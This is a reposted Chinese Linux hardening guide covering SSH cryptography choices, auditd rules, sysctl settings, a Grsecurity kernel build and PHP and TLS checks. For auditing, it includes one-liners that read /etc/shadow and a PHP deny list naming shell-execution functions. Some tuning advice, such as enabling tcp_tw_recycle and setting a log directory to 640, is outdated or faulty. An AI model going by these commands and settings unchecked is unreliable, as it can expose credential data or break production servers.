[转存]GNU/Linux安全基线与加固-0.3

原文链接

https://raw.githubusercontent.com/citypw/DNFWAH/master/4/d4_0x02_DNFWAH_gnu-linux_security_baseline_hardening.txt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
[sth0r@shawn-fortress]$ uname -a
Linux shawn-fortress 3.7-trunk-686-pae #1 SMP Debian 3.7.2-0+kali8 i686 GNU/Linux
|=-----------------------------------------------------------------=|
|=-----=[ D O   N O T   F U C K   W I T H   A   H A C K E R ]=-----=|
|=-----------------------------------------------------------------=|
|=------------------------[ #4 File 0x02 ]-------------------------=|
|=-----------------------------------------------------------------=|
|=----------------=[ GNU/Linux安全基线与加固-0.3 ]=----------------=|
|=-----------------------------------------------------------------=|
|=-------------------=[ By Shawn the R0ck   ]=---------------------=|
|=-----------------------------------------------------------------=|
|=--------------------=[ 初稿:July 22 2014  ]=---------------------=|
|=-----------------------------------------------------------------=|
|=-------------------=[ Update: Jan 7 2015 ]=---------------------=|
|=-----------------------------------------------------------------=|
--[ CONTENTS
0. About this doc
1. Routine security baseline
   1.1 Security fix update
   1.2 Password policy
   1.3 SSH secure config
   1.4 audit framework
       1.4.1 file permission audit
       1.4.2 Prevent *UNSET* bash history
   1.5 sudoers
2. Kernel security baseline
3. Hardening
   3.1 Kernel hardening - Grsecurity/PaX
   3.2 PHP
4. SSL/TLS Checklist
5. Weirdo audit
6. Reference

0. 关于这份文档

1
2
3
4
5
6
7
8
9
10
11
12
13
随着GNU/Linux在各个行业的IT基础架构中的普及，安全问题也成为了关注的焦点，
GNU/Linux主要是由GNU核心组建( 编译器GCC, C库Glibc等)和Linux内核组合而成，
在自由开源软件统治着基础平台的大环境下，不少人认为开源一定是安全的，这
是一种不完全正确的观念，Coverity的报告只是说明了开源比闭源更安全，这并
不代表自由开源软件就是牢不可破的，自由开源软件在一定程度上具有一些安全
的特性，这些特性不一定在GNU/Linux发行版中是默认开启，这些特性中有一些是
必须在安全基线中去部署的，有一些可以根据具体需求来定制，这篇文档主要是
介绍一些关于安全基线建设和加固的基本内容。
在实际的安全咨询工作中，很多普通个人用户和企业用户并不是安全领域的黑客，
大多客户都会要求给出一份简单易懂的部署文档，也就是所谓的安全基线，基线
和加固是很大的话题，我会尽力不断更新这篇文档的内容，也希望有社区的朋友
参与，本文所使用的GNU/Linux发行版是Debian。

1. 安全基线

1
2
在遵循最小安装和最小权限的部署原则下，还有一些地方是需要注意的，我们把
这些部分称为安全基线。

1.1 安全修复更新

1
2
3
作为系统管理员，每天干的第1件事情就应该是查看生产环境的机器是否有安全修
复的更新，甚至应该除了生产环境再另外跑一套模拟环境，用于测试升级后是否
影响业务系统。
1
2
3
4
5
6
7
8
9
10
11
Debian检查需要安全修复包：
sudo apt-get upgrade -s | grep -i security
OpenSuSE发行版检查需要安全修复的包：
sudo zypper lp | awk '{ if ($7=="security"){ if ($11=="update") {print $13} else{ print $11 }}}' | sed 's/:$//' | grep -v "^$" | sort | uniq
RHEL/CentOS( 6.4)检查需要安全修复的包和明细：
sudo yum list-security | grep RHSA
sudo yum info-security RHSA-NUMBER

1.2 密码策略

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
root密码策略至少应该考虑以下几点：
1，密码强度，至少是大小写字母+数字+符号一共9位以上，PAM例子：
password requisite pam_cracklib.so minlen=10 ucredit=-1 lcredit=-1 dcredit=-1 ocredit=-1
2，不同的系统密码不能一样
3，更换密码策略(每90天更换一次）
4，密码分发管理，管理不同业务服务器的系统管理员掌握不同的密码
PAM例子：
分别代表最短密码长度为8,其中至少包含一个大写字母，一个小写字母，一个数
字和一个字符, 编辑/etc/pam.d/passwd，增加：
password  requisite pam_cracklib.so minlen=8 ucredit=-1 lcredit=-1 dcredit=-1 ocredit=-1
编辑/etc/login.defs，设置：
PASS_MAX_DAYS 90	#密码最长生命周期90天
PASS_WARN_AGE 7		#密码过期之前7天报警信息
登录失败3次死锁，编辑/etc/pam.d/system-auth，设置：
auth	required	pam_tally2.so onerr=fail even_deny_root deny=3 unlock_time=3600

1.2.1 业务分离

1
2
3
生产环境中,不同的业务可以做水平分离,比如把不同的服务运行到不同的虚拟机
中,不需要远程访问的服务器可以绑定到 localhost( 比如只需要访问本机业务的
mysql) 上。

1.3 SSH安全配置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
openssh目前的默认配置文件相比以前虽然要安全的多，但还是有必要对生产系统
中的ssh服务器进行基线检查。
配置文件：/etc/ssh/ssh_config
--------------------------------------------------------------
1，known_hosts保存相关服务器的签名，所以必须把主机名hash:
HashKnownHosts yes
2，SSH协议v1不安全：
Protocol 2
3，如果没用X11转发的情况：
X11Forwarding no
4，关闭rhosts:
IgnoreRhosts yes
5，关闭允许空密码登录：
PermitEmptyPasswords no
6，最多登录尝试次数：
MaxAuthTries 5
7，禁止root登录
PermitRootLogin no
--------------------------------------------------------------
(可选)
--------------------------------------------------------------
1，关闭密码认证，启用公钥认证：
PubkeyAuthentication yes
PasswordAuthentication no
2，允许或者禁止用户/组登录:
AllowGroups, AllowUsers, DenyUsers, DenyGroups
--------------------------------------------------------------
密钥交换( Kex)
--------------------------------------------------------------
OpenSSH支持8种密钥交换协议：
1. curve25519-sha256: ECDH over Curve25519 with SHA2
2. diffie-hellman-group1-sha1: 1024 bit DH with SHA1
3. diffie-hellman-group14-sha1: 2048 bit DH with SHA1
4. diffie-hellman-group-exchange-sha1: Custom DH with SHA1
5. diffie-hellman-group-exchange-sha256: Custom DH with SHA2
6. ecdh-sha2-nistp256: ECDH over NIST P-256 with SHA2
7. ecdh-sha2-nistp384: ECDH over NIST P-384 with SHA2
8. ecdh-sha2-nistp521: ECDH over NIST P-521 with SHA2
按照以下3个标准：
* ECDH曲线：安标NIST已经受到污染所以排除6--8
* DH的位数：排除1024-bit的
* 安全的Hash：排除2--4的SHA1
*** 只剩下1和5，建议配置：
/etc/ssh/sshd_config:
KexAlgorithms curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256
/etc/ssh/ssh_config snippet:
Host *
    KexAlgorithms curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256
*** 建议删除/etc/ssh/moduli低于2048位长度的，或者直接创建：
ssh-keygen -G /tmp/moduli -b 4096
ssh-keygen -T /etc/ssh/moduli -f /tmp/moduli
--------------------------------------------------------------
认证( Authentication)
--------------------------------------------------------------
1. DSA
2. ECDSA
3. Ed25519
4. RSA
2是属于被污染的NIST里的，这里不能通过配置来屏蔽ECDSA，但可以通过坏链接
来实现：
cd /etc/ssh
rm ssh_host_ecdsa_key*
rm ssh_host_key*
ln -s ssh_host_ecdsa_key ssh_host_ecdsa_key
ln -s ssh_host_key ssh_host_key
DSA虽然没有被污染，但是必须要求是1024-bit，长度过低，所以关掉最好的情况是只使用：
Protocol 2
HostKey /etc/ssh/ssh_host_ed25519_key
如果需要使用RSA，生成更高强度的密钥：
cd /etc/ssh
rm ssh_host_rsa_key*
ssh-keygen -t rsa -b 4096 -f ssh_host_rsa_key < /dev/null
生成客户端的密钥：
ssh-keygen -t ed25519
ssh-keygen -t rsa -b 4096
--------------------------------------------------------------
对称算法( Symmetric ciphers)
--------------------------------------------------------------
1.  3des-cbc
2.  aes128-cbc
3.  aes192-cbc
4.  aes256-cbc
5.  aes128-ctr
6.  aes192-ctr
7.  aes256-ctr
8.  aes128-gcm
9.  aes256-gcm
10. arcfour
11. arcfour128
12. arcfour256
13. blowfish-cbc
14. ast128-cbc
15. chacha20-poly1305
对称算法选型是最后意思的，根据以下标准：
* 算法本身的安全性，RC4和DES已经存在风险，所以排除1和10--12
* 密钥强度：至少128-bit
* 块大小：块加密的情况下至少128 bits
* cipher mode：建议使用AE：
https://en.wikipedia.org/wiki/Authenticated_encryption
这样只剩下了5--9和15，/etc/ssh/sshd_config建议配置：
Ciphers aes256-gcm@openssh.com,aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr
建议配置/etc/ssh/ssh_config：
Host *
    Ciphers aes256-gcm@openssh.com,aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr
--------------------------------------------------------------
MAC（Message authentication codes)：
--------------------------------------------------------------
为了抗侧信道攻击，所以必须采用先加密再MAC，OpenSSH提供了以下MAC支持：
1.  hmac-md5
2.  hmac-md5-96
3.  hmac-ripemd160
4.  hmac-sha1
5.  hmac-sha1-96
6.  hmac-sha2-256
7.  hmac-sha2-512
8.  umac-64
9.  umac-128
10. hmac-md5-etm
11. hmac-md5-96-etm
12. hmac-ripemd160-etm
13. hmac-sha1-etm
14. hmac-sha1-96-etm
15. hmac-sha2-256-etm
16. hmac-sha2-512-etm
17. umac-64-etm
18. umac-128-etm
按照以下标准：
* HASH算法的安全性，MD5和SHA1被排除
* 必须先加密再MAC，所有不带-etm的被排除
* Tag大小：最少256 bits，UMAC和RIPEMD160被排除
* 密钥长度：至少128-bit
建议配置/etc/ssh/sshd_config:
MACs hmac-sha2-512-etm@openssh.com,hmac-sha2-256-etm@openssh.com
建议配置/etc/ssh/ssh_config
Host *
    MACs hmac-sha2-512-etm@openssh.com,hmac-sha2-256-etm@openssh.com
为了兼容github，可以加上：
Host github.com
    MACs hmac-sha2-512-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512

1.4 auditd审计框架

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
auditd是接收内核审计模块关于系统调用信息的一个用户态程序，可以通过一些
规则来对一些系统调用或者文件目录进行监控。
安装auditd:
sudo apt-get install auditd
配置文件:/etc/audit/auditd.conf
存储地址log_file = /var/log/audit/audit.log
审计规则的配置文件：/etc/audit/audit.rules，这里给出一个例子：
--------------------------------------------------------------
# First rule - delete all
-D
# Increase the buffers to survive stress events.
# Make this bigger for busy systems
-b 320
-a always,exit -S adjtimex -S settimeofday -S stime -k time-change
-a always,exit -S clock_settime -k time-change
-a always,exit -S sethostname -S setdomainname -k system-locale
# Monitor binaries ps & ls and saved the log when being executed....
-a always,exit -F path=/bin/ps -F path=/bin/ls -F perm=x -k binaries
-w /etc/group -p wa -k identity
-w /etc/passwd -p wa -k identity
-w /etc/shadow -p wa -k identity
-w /etc/sudoers -p wa -k identity
-w /var/run/utmp -p wa -k session
-w /var/log/wtmp -p wa -k session
-w /var/log/btmp -p wa -k session
-w /etc/apparmor -p wa -k MAC-policy
-w /etc/apparmor.d -p wa -k MAC-policy
--------------------------------------------------------------
上面的例子对一系列关于时间的系统调用进行了监控，一旦时间出现改变就会记
录进如日志，之后对几个跟创建/删除用户和组的文件也进行了监控，最后是对
apparmor的配置文件和规则目录进行监控。在/etc/apparmor下的shell中输入：
sudo touch hello
用工具ausearch来进行查询：
--------------------------------------------------------------
sudo ausearch -i -k MAC-policy
----
type=CONFIG_CHANGE msg=audit(07/20/2014 20:36:48.397:58) : auid=root ses=2 op="add rule" key=MAC-policy list=exit res=1
----
type=CONFIG_CHANGE msg=audit(07/20/2014 20:36:48.445:59) : auid=root ses=2 op="add rule" key=MAC-policy list=exit res=1
----
type=PATH msg=audit(07/20/2014 20:38:42.717:61) : item=1 name=hello inode=799889 dev=08:01 mode=file,644 ouid=root ogid=root rdev=00:00 nametype=CREATE
type=PATH msg=audit(07/20/2014 20:38:42.717:61) : item=0 name=/etc/apparmor inode=783766 dev=08:01 mode=dir,755 ouid=root ogid=root rdev=00:00 nametype=PARENT
type=CWD msg=audit(07/20/2014 20:38:42.717:61) :  cwd=/etc/apparmor
type=SYSCALL msg=audit(07/20/2014 20:38:42.717:61) : arch=i386 syscall=open success=yes exit=3 a0=bfeca8ab a1=8941 a2=1b6 a3=1 items=2 ppid=17704 pid=17876 auid=root uid=root gid=root euid=root suid=root fsuid=root egid=root sgid=root fsgid=root tty=pts1 ses=2 comm=touch exe=/bin/touch key=MAC-policy
----
type=PATH msg=audit(07/20/2014 20:38:56.017:62) : item=1 name=hello inode=799889 dev=08:01 mode=file,644 ouid=root ogid=root rdev=00:00 nametype=DELETE
type=PATH msg=audit(07/20/2014 20:38:56.017:62) : item=0 name=/etc/apparmor inode=783766 dev=08:01 mode=dir,755 ouid=root ogid=root rdev=00:00 nametype=PARENT
type=CWD msg=audit(07/20/2014 20:38:56.017:62) :  cwd=/etc/apparmor
type=SYSCALL msg=audit(07/20/2014 20:38:56.017:62) : arch=i386 syscall=unlinkat success=yes exit=0 a0=ffffff9c a1=89eb8c0 a2=0 a3=0 items=2 ppid=17704 pid=17889 auid=root uid=root gid=root euid=root suid=root fsuid=root egid=root sgid=root fsgid=root tty=pts1 ses=2 comm=rm exe=/bin/rm key=MAC-policy
--------------------------------------------------------------
也可以使用aureport来生成报告。
记录tty的场景:
编辑/etc/pam.d/password-auth-ac：
session     required      pam_tty_audit.so enable=*
查看相关信息：
#tail -n 20 /var/log/audit/audit.log
#aureport --tty -ts today

1.4.1 针对文件的审计

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
1, Leo Juranic的详细的分析[]了异常的通配符威胁有多大，：
--------------------------------------------------------------
find / -path /proc -prune  -name "-*"
--------------------------------------------------------------
2, 所谓的world-writable权限的文件是不太合理的，所以这种文件我们必须得提防：
--------------------------------------------------------------
find / -path /proc -prune -o -perm -2 ! -type l -ls
针对日志的world-readable也需要注意：
find /var/log -perm -o=r ! -type l
正确：
chmod 640 /var/log/
--------------------------------------------------------------
3, 一个没有owner的文件是存在潜在威胁的，因为你永远也不知道未来某个时候她的
uid/gid成为了你的敌人：
--------------------------------------------------------------
find / -path /proc -prune -o -nouser -o -nogroup
--------------------------------------------------------------
4, 作为"自主可控"的自由软件用户，你得知道你的生产环境中哪些用户是可用的：
--------------------------------------------------------------
egrep -v '.*:\*|:\!' /etc/shadow | awk -F: '{print $1}'
--------------------------------------------------------------
5, 你要删除一个用户前，应该先了解一些有哪些文件是他拥有的：
--------------------------------------------------------------x
find / -path /proc -prune -o -user account -ls
然后，安全的删除：
userdel -r account
--------------------------------------------------------------
6, 如果不带':x:'的用户肯定是无法正常使用的：
--------------------------------------------------------------
grep -v ':x:' /etc/passwd
--------------------------------------------------------------
7, 找到没有密码的用户：
--------------------------------------------------------------
cat /etc/shadow | cut -d: -f 1,2 | grep '!'
--------------------------------------------------------------
8，找到被锁定的用户：
--------------------------------------------------------------
cat /etc/shadow | cut -d: -f 1,2 | grep '*'
--------------------------------------------------------------
9, 找到带有过期密码的用户：
--------------------------------------------------------------
cat /etc/shadow | cut -d: -f 1,2 | grep '!!'
passwd -u -l可以操作
--------------------------------------------------------------
10, /boot目录权限下至少是644，甚至是600:
--------------------------------------------------------------
ls -l /boot
--------------------------------------------------------------
11，找到suid和sgid相关的可执行文件：
--------------------------------------------------------------
find / -xdev -user root \( -perm -4000 -o -perm -2000 \)
--------------------------------------------------------------
(可选)
1, GNU/Linux的访问控制列表(ACL)也是不错的文件权限管理的途径，获得文件
ACL的信息：
--------------------------------------------------------------
getfacl file
设置哪些用户对哪些文件有什么样的权限：
setfacl -m u:user:r file
--------------------------------------------------------------

1.4.2 Prevent UNSET bash history

1
2
3
4
5
6
7
8
9
针对history_bash不允许unset:
#Prevent unset of histfile, /etc/profile
export HISTSIZE=1500
readonly HISTFILE
readonly HISTFILESIZE
readonly HISTSIZE
#Set .bash_history as attr +a
find / -maxdepth 3|grep -i bash_history|while read line; do chattr +a "$line"; done

1.5 sudoers

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
执行visudo，让普通用户shawn有所有权限：
shawn ALL=(ALL) ALL
让普通用户shawn只能以root权限执行ls和cat：
shawn ALL=/bin/ls,/bin/cat
让普通用户shawn只能在主机localhost上以root权限执行ls：
shawn localhost=/bin/ls
--[ 2. 内核安全基线
SYN cookies防护主要是为了防止SYN洪水攻击，开启设置为1：
--------------------------------------------------------------
net.ipv4.tcp_syncookies = 1
/proc/sys/net/ipv4/tcp_syncookies
(可选)，如果需要开启SYNPROXY可以直接：
iptables -t raw -A PREROUTING -i eth0 -p tcp --dport 80 --syn -j NOTRACK
iptables -A INPUT -i eth0 -p tcp --dport 80 -m state UNTRACKED,INVALID \
	 -j SYNPROXY --sack-perm --timestamp --mss 1480 --wscale 7 --ecn
echo 0 > /proc/sys/net/netfilter/nf_conntrack_tcp_loose
注意:SYNPROXY是在Linux内核3.13里加入的NETFILTER特性。
--------------------------------------------------------------
TCP FIN-WAIT-2状态保留时间，目前很多发行版的默认时间是60秒，这个值太大
会造成DOS攻击的风险，太小也有一定概率造成远端机器来不急主动关掉链接，建
议一般设置成15：
--------------------------------------------------------------
参考：
http://benohead.com/tcp-about-fin_wait_2-time_wait-and-close_wait/
net.ipv4.tcp_fin_timeout = 15
/proc/sys/net/ipv4/tcp_fin_timeout
--------------------------------------------------------------

网络抗DOS相关：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
SYN队列的长度，值越大能处理更多的链接数：
net.ipv4.tcp_max_syn_backlog = 8192
/proc/sys/net/ipv4/tcp_max_syn_backlog
设备队列的长度，这个值建议比syn队列大：
net.core.netdev_max_backlog = 16384
/proc/sys/net/core/netdev_max_backlog
listen()的backlog限制数，内存大可以提升到65535：
net.core.somaxconn = 4096
/proc/sys/net/core/somaxconn
TIME_WAIT状态的TCP链接最大数，超过这个值系统会自动清除，抗DOS攻击的选项：
net.ipv4.tcp_max_tw_buckets = 4096
/proc/sys/net/ipv4/tcp_max_tw_buckets
TIME-WAIT状态的链接重新使用于新的TCP链接，1表示允许：
net.ipv4.tcp_tw_reuse = 1
/proc/sys/net/ipv4/tcp_tw_reuse
TIME-WAIT状态的链接快速回收，1表示开启：
net.ipv4.tcp_tw_recycle = 1
/proc/sys/net/ipv4/tcp_tw_recycle
TCP KEEPALIVE探测频率，以秒为单位，建议设置在30分钟以内，300为5分钟：
net.ipv4.tcp_keepalive_time = 300
/proc/sys/net/ipv4/tcp_keepalive_time
TCP KEEPALIVE探测包的数量：
net.ipv4.tcp_keepalive_probes = 3
/proc/sys/net/ipv4/tcp_keepalive_probes
SYN和SYN+ACK的重传次数：
net.ipv4.tcp_syn_retries = 3
/proc/sys/net/ipv4/tcp_syn_retries
net.ipv4.tcp_synack_retries = 3
/proc/sys/net/ipv4/tcp_synack_retries
TCP ORPHAN的值调大能防止简单DOS攻击，每个ORPHAN消耗大约64k的内存，
65535相当于4GB内存：
net.ipv4.tcp_max_orphans = 65536
/proc/sys/net/ipv4/tcp_max_orphans
TCP链接的内存大小，以PAGE为单位，x86下每个page为4KB大小：
net.ipv4.tcp_mem = 131072 196608 262144
/proc/sys/net/ipv4/tcp_mem
如果不是特殊场景的服务器或者网络设备，一般不要调整tcp_mem，超过最大的值
会报OOM的错误。
设置最大的发送和接收窗口,以10G NIC为例,设置64MB：
net.core.rmem_max = 67108864
/proc/sys/net/core/rmem_max
net.core.wmem_max = 67108864
/proc/sys/net/core/wmem_max
每个TCP链接的读，写缓冲区内存大小，单位为Byte：
net.ipv4.tcp_rmem = 4096 8192 16777216( 4096 87380 33554432)
/proc/sys/net/ipv4/tcp_rmem
net.ipv4.tcp_wmem = 4096 8192 16777216( 4096 65536 33554432)
/proc/sys/net/ipv4/tcp_wmem
如果按照缺省分配8KB * 2 = 16KB/链接，4GB内存能提供的链接数为：
(4 * 1024 * 1024) / 16 = 262144
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
Oracle 10g的最佳建议：
http://www.dba-oracle.com/t_linux_networking_kernel_parameters.htm
--------------------------------------------------------------
源路由通常可以用于在IP包的OPTION里设置途经的部分或者全部路由器，这个
特性可以用于网络排错和优化，比如traceroute，攻击者也可以使用这个特性来
进行IP欺骗，关闭设置为0：
--------------------------------------------------------------
net.ipv4.conf.all.accept_source_route = 0
/proc/sys/net/ipv4/conf/all/accept_source_route
--------------------------------------------------------------
ICMP重定向，正常用于选择最优路径，攻击者可以利用开展中间人攻击，关闭设
置为0:
--------------------------------------------------------------
net.ipv4.conf.all.accept_redirects = 0
/proc/sys/net/ipv4/conf/all/accept_redirects
--------------------------------------------------------------
如果这台GNU/Linux是作为服务器使用而非网关设备，可以关掉：
--------------------------------------------------------------
net.ipv4.conf.all.send_redirects = 0
net.ipv4.conf.default.send_redirects = 0
--------------------------------------------------------------
IP欺骗防护，启动设置为1：
--------------------------------------------------------------
net.ipv4.conf.all.rp_filter = 1
/proc/sys/net/ipv4/conf/all/rp_filter
--------------------------------------------------------------
忽略ICMP请求( PING)，启动设置为1：
--------------------------------------------------------------
net.ipv4.icmp_echo_ignore_all = 1
/proc/sys/net/ipv4/icmp_echo_ignore_all
--------------------------------------------------------------
忽略ICMP广播请求，启动设置为1：
--------------------------------------------------------------
net.ipv4.icmp_echo_ignore_broadcasts = 1
/proc/sys/net/ipv4/icmp_echo_ignore_broadcasts
--------------------------------------------------------------
错误消息防护，会警告你关于网络中的ICMP异常，启动设置为1：
--------------------------------------------------------------
net.ipv4.icmp_ignore_bogus_error_responses = 1
/proc/sys/net/ipv4/icmp_ignore_bogus_error_responses
--------------------------------------------------------------
对特定packet(IP欺骗，源路由，重定向）进行审计，启动设置为1：
--------------------------------------------------------------
/proc/sys/net/ipv4/conf/all/log_martians
net.ipv4.conf.all.log_martians = 1
--------------------------------------------------------------
地址随机化，启动设置为2：
--------------------------------------------------------------
kernel.randomize_va_space=2
/proc/sys/kernel/randomize_va_space
--------------------------------------------------------------
内核符号限制访问，启动设置为1：
--------------------------------------------------------------
kernel.kptr_restrict=1
/proc/sys/kernel/kptr_restrict
类似CVE-2014-0196的exploit对于这一项就很难做到“通杀”;-)
--------------------------------------------------------------
内存映射最小地址，启动设置为65536：
--------------------------------------------------------------
vm.mmap_min_addr=65536
/proc/sys/vm/mmap_min_addr
--------------------------------------------------------------
防护进程被ptrace跟踪调试:
--------------------------------------------------------------
kernel.yama.ptrace_scope = 2
/proc/sys/kernel/yama/ptrace_scope
0: 所有进程都可以被调试
1: 只有一个父进程可以被调试
2: 只有系统管理员可以调试（CAP_SYS_PTRACE ）
3: 没有进程允许被调试
一般加固机用3，普通服务器用2/1。

Apparmor

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
安装Apparmor和社区规则：
sudo apt-get install -y apparmor-profiles apparmor
查看状态是否运行正常：
sudo aa-status
--------------------------------------------------------------
--[ 3. 加固
安全基线是在防御已知的威胁，而加固则是侧重于防御未知的威胁，加固的主要
目的是增加攻击者的成本。
----[ 3.1 内核加固 - Grsecurity/PaX
GNU/Linux平台从用户空间到内核空间都有一系列的加固措施，但是,对于真正面
临复杂安全环境,确实需要高级安全防护能力的机构,最极端的加固防御是:
Grsecurity/PaX，对于注重完美的“老派( old school )”黑客社区而言,没有
Grsecurity/PaX 的定制方案是不完美的 ,这里摘选几段old school社区的调侃：
"The "better than none" point of view is actually a nice way to false
sense of security for those who don't know better. We got
better-than-none apparmor, selinux, tomoyo, some poorly maintained and
crippled ports of grsec features or alikes, namespaces and containers,
rootkit-friendly LSM, the dumb and useless kernel version of SSP,
etc. What's the sum of all this shit for end users? False sense of
security..."
"without Grsecurity/PaX, linux security is like monkey can never
perform a regular masturbation cu'z lacking of giant pennis;-)"
作为个人完全赞同以上观点，太多的better-than-none可以算是"甜点"，用户使
用后会觉得自high的很爽，但是到了夜幕降临的时候，用户还是很难入睡，因为
"痛点"依然在那里，在安全领域，"甜点"就是"安全感"，安全感绝对不等同于安
全。
Anyway，对于商业客户而言，是否对Grsecurity/PaX定制是一种选择。
安装新的带Grsecurity/PaX补丁的内核，以3.14.1为例，先下载原生内核：
--------------------------------------------------------------
https://www.kernel.org/pub/linux/kernel/v3.x/linux-3.14.1.tar.xz
下载Grsecurity/PaX补丁：
https://github.com/citypw/citypw-SCFE/raw/master/security/apparmor_test/grsecurity-3.0-3.14.11-201407072045.patch
解压内核然后打补丁：
Patch the kernel with grsecurity:
xz -d linux-3.14.1.tar.xz
tar xvf linux-3.14.1.tar
cd linux-3.14.1/
patch -p1 < ../grsecurity-3.0-3.14.3-201405121814.patch
你可以在"make menuconfig"里自己定制符合你口味的内核，也可以使用我测试用
的内核config文件：
https://raw.githubusercontent.com/citypw/citypw-SCFE/master/security/apparmor_test/debian-7.4-linux-3.14.1-grsec.config
编译内核(-jx, x通常==你的CPU核数+1):
make -j7 deb-pkg
安装编译后的内核:
dpkg -i ../*.deb
--------------------------------------------------------------
现在内核的部分结束，关于RBAC规则可以使用用户态工具gradm的Learning Mode
来实现，但不在本文的讨论范畴。

3.2 PHP加固

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
1, PHP是常用的WEB开发语言，在WEB生产环境部署的过程中，目录和文件的权限是需
要关注的，通常除了少数用途的目录（比如上传）外，都应该把写入权限禁用：
--------------------------------------------------------------
find -type f -name \*.php -exec chmod 444 {} \;
find -type d -exec chmod 555 {} \;
--------------------------------------------------------------
2, 开启 php 的安全模式,禁用 php 不安全的函数等加固，修改 php 配置文件
/etc/php5/apache2/php.ini :
--------------------------------------------------------------
// 设置模式为安全模式,此值直接影响 disable_functions 的命令是否生效;
[SQL]
; http://php.net/sql.safe-mode
sql.safe_mode = On
// 禁用不安全的函数
disable_functions = system, show_source, symlink, exec, dl, shell_exec,
passthru, phpinfo, escapeshellarg, escapeshellcmd
// 避免暴露 php 信息
expose_php = Off
// 关闭错误信息提示
display_errors = Off
// 不允许调用 dl
enable_dl = Off
// 避免远程调用文件
allow_url_include = Off
--------------------------------------------------------------
--[ 4. SSL/TLS基线检查
SSL/TLS的实现经历BEAST/CRIME/LUCKY-13/HEARTBLEED/POODLE一系列的安全事件
后，我们根据之前的NDAY漏洞的经验可以制定一些安全基线。这里给出的例子都
以HOST为"www.google.com"和PORT为443。
SSLv2早已经因为一系列安全漏洞被废弃，必须保证在生产环境当中去除，用以下
命令验证：
--------------------------------------------------------------
openssl s_client -ssl2 -connect www.google.com:443
由于OpenSSL 1.0开始已经不支持SSLv2，所以这条命令如果成功执行代表你有危
险，GnuTLS也可以用类似的命令来快速检测：
gnutls-cli -d 5 -p 443 --priority "NORMAL:-VERS-TLS1.2:-VERS-TLS1.1:-VERS-TLS1.0:-VERS-SSL3.0" www.google.com
--------------------------------------------------------------
SSLv3的漏洞也不少，POODLE攻击是其中的著名例子，如果你没有运行非常古老的
软件(比如IE6)，那你应该禁用掉SSLv3，检测对端是否支持SSLv3：
--------------------------------------------------------------
gnutls-cli -d 5 -p 443 --priority "NORMAL:-VERS-TLS1.2:-VERS-TLS1.1:-VERS-TLS1.0" www.google.com | grep -i version
如果能看到"- Version: SSL3.0"那你得当心了。
--------------------------------------------------------------
目前(2014年11月18日)，只有TLS 1.1/1.2是相对安全的，EFF早在2011年就建议
公众使用TLS 1.2的PFS，检查是否支持TLS 1.1/1.2：
--------------------------------------------------------------
gnutls-cli -p 443 --priority "NORMAL:-VERS-TLS1.2:-VERS-TLS1.0:-VERS-SSL3.0" www.google.com | grep -i version
显示“- Version: TLS1.1"就说明支持TLS 1.1。
